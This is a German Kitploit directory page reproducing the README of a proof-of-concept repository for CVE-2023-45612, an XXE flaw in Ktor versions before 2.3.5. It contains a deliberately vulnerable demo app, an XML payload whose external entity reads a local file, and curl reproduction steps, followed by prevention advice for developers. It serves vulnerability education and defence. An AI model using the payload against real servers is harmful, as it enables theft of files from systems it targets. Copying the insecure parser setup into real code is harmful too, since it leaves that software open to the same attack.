Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ktor-cve-2023-45612-poc — Ktor XXE-Injection Proof-of-Concept (CVE-2023-45612) | Kitploit
Tools/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitFehlkonfigurationLernen & Bildung
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXE-Injection Proof-of-Concept (CVE-2023-45612)

Repository anzeigen
13vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ktor-XXE-Schwachstellen-Proof-of-Concept (CVE-2023-45612)

Zusammenfassung

Auswirkung: Zugriff auf beliebige Dateien über eine manipulierte XML-DTD mit einer XXE-Referenz.
Ursache: Unsicherer XML-Dokumentparser.

Dieses Repository enthält eine angreifbare Ktor 2.3.4-App, die so konfiguriert ist, dass externe Entitäten zugelassen werden, sodass der XXE-Effekt sichtbar wird.

Beschreibung

Angreifbare Ktor-Anwendung (v2.3.4) für den Proof of Concept einer XML-External-Entity-Injection (CVE-2023-45612).

CVE-2023-45612 ist ein XXE-Fehler (XML External Entity) in Ktors ContentNegotiation, wenn XML in Versionen vor 2.3.5 aktiviert ist.
Diese Schwachstelle ist CWE-611: Improper Restriction of XML External Entity Reference zugeordnet.
XXE gehört zur Risikokategorie OWASP Top 10 A05:2021-Security Misconfiguration, ist aber auch ein Problem unsicheren Designs, da die Ursache ein nicht restriktiver XML-Parser ist.

Gemeldet von Ulf Karlsson — siehe Jetbrains-Sicherheitshinweise.

Betroffene Komponenten und Versionen

Ktor-Versionen älter als 2.3.5

Reproduktionsumgebung

Dies ist meine Umgebung zum Reproduzieren des Problems:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • Betriebssystem: Windows 10

XXE erklärt

XML-Dokumente können optional eine Dokumenttypdefinition (DTD) enthalten, die unter anderem die Definition von XML-Entitäten ermöglicht. Es ist möglich, eine Entität zu definieren, indem eine Ersetzungszeichenfolge in Form einer URI angegeben wird. Der XML-Parser kann auf den Inhalt dieser URI zugreifen und diesen Inhalt zur weiteren Verarbeitung wieder in das XML-Dokument einbetten. Durch das Übermitteln einer XML-Datei, die eine externe Entität mit einer file://-URI definiert, kann ein Angreifer die verarbeitende Anwendung dazu veranlassen, den Inhalt einer lokalen Datei zu lesen.
Eine URI wie "file:///c:/winnt/win.ini" bezeichnet beispielsweise (unter Windows) die Datei C:\Winnt\win.ini, oder file:///etc/passwd bezeichnet die Passwortdatei auf Unix-basierten Systemen.
(https://cwe.mitre.org/data/definitions/611.html)

So funktioniert es

An den Endpunkt http://localhost:8080/xml wird eine POST-Anfrage gesendet.
Die Anfrage sendet eine XML-Datei, exploit/payloads/xxe-demo-file.xml, die ein <!DOCTYPE>-Element enthält, in dem auf eine externe Entität verwiesen wird, in diesem Fall exploit/etc/secret.txt.

Das könnte potenziell jede andere Datei auf dem System sein, auf die der Prozess Zugriff hat.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

Der XML-Parser (so konfiguriert, dass er DTDs zulässt) löst dieses Element auf und ruft die Ressourcendaten ab.

Die externe Referenz könnte auch ein Pfad zu einem SSRF-Endpunkt sein oder auf eine große Datei zeigen, um die Systemressourcen zu belegen (DOS).

Reproduktionsschritte

  1. Starten Sie den Server:
root@kitploit:~
./gradlew run
  1. Die Ausgabe sollte sein:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. Senden Sie das XXE-Payload mit curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

Erwartetes Ergebnis (anfällig):

Konsolenausgabe: Received: <external entity data>

Erwartetes Ergebnis (sicher):

400 Bad Request oder Ähnliches (Der XML-Parser blockiert die Dokumenttypdefinition)

Beweis

Befehl ausführen:

Befehl ausführen

XXE-Payload mit cURL senden und das Ergebnis mit den eingefügten Dateiinhalten anzeigen:

Befehl ausführen

Schweregrad

Der Schweregrad ist hoch/kritisch. Möglicher lokaler Dateizugriff, SSRF-Angriff, DoS-Angriff oder andere Auswirkungen auf das System.
NVD-Basis-Score: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

Präventionsleitfaden-Entwurf für Entwickler

  • Konfigurieren Sie den XML-Parser so, dass er keine externen Entitäten auflöst. Falls externe Entitäten benötigt werden, implementieren Sie einen benutzerdefinierten XmlResolver mit einem Request-Timeout, einem Datenabruflimit und schränken Sie die Ressourcen ein, die er lokal abrufen kann.
  • Nutzen Sie Ressourcen wie das OWASP-Cheat-Sheet zur XXE-Prävention, das die Implementierung der XXE-Prävention speziell für verschiedene Technologien abdeckt.
  • Integrieren Sie SAST in die CI, da es einige Instanzen dieser Schwachstelle durch die Analyse des Quellcodes finden kann.
  • Verfolgen und analysieren Sie Abhängigkeitsversionen und Schwachstellen.
  • Implementieren Sie unternehmensweit sichere Codierungsstandards.
  • Betonen Sie die Integration von Sicherheit in den gesamten SDLC, insbesondere in den Design- und Entwicklertestphasen.

Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Tool herunterladen